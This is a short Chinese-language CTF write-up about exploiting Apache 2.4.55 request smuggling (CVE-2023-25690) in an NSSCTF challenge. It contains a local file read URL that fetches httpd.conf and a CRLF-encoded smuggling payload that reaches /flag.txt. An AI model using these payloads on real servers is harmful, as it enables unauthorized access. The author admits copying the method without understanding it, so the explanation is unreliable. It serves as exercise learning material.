开始解题
打开题目发现并没有什么线索,那这种情况只能是看一下php版本,服务器版本去看有没有线索,或者扫目录啥的
发现了发现服务器为Apache/2.4.55,网上搜一下就可以知道存在Apache HTTP Server 请求走私漏洞(CVE-2023-25690)
下面就是抄别人的wp,已经讲得很详细了
按照参考文章,我们要先去查看conf/httpd.conf是否添加以下模块
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule rewrite_module modules/mod_rewrite.so
index.php的内容
好奇为什么不可以读取任意文件,找到flag
从这篇文章可以知道路径是/usr/local/apache2/conf/httpd.conf,构造payload:
http://node4.anna.nssctf.cn:28952/index.php?file=/usr/local/apache2/conf/httpd.conf
Ctrl+F以下,查找那三个模块,显示已经开始,那就可以开始按照文章来打,进行HTTP走私
读取后寻找 RewriteRule,这里我觉得是将这里的意思就是将请求的内容转发到/hello/的路径,这里的/hello/是文章内的路径
RewriteRule "^/nssctf/(.*)" "http://backend-server:8080/index.php?id=$1" [P] ProxyPassReverse "/nssctf/" "http://backend-server:8080/"
修改一下,得到我们最终的Payload:
/nssctf/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/flag.txt
nm看不明白,不明白为什么要这么做啊,谁告诉文件为flag.txt了,莫名其妙的
wp来自https://blog.csdn.net/Leaf_initial/article/details/131560501?spm=1001.2014.3001.5502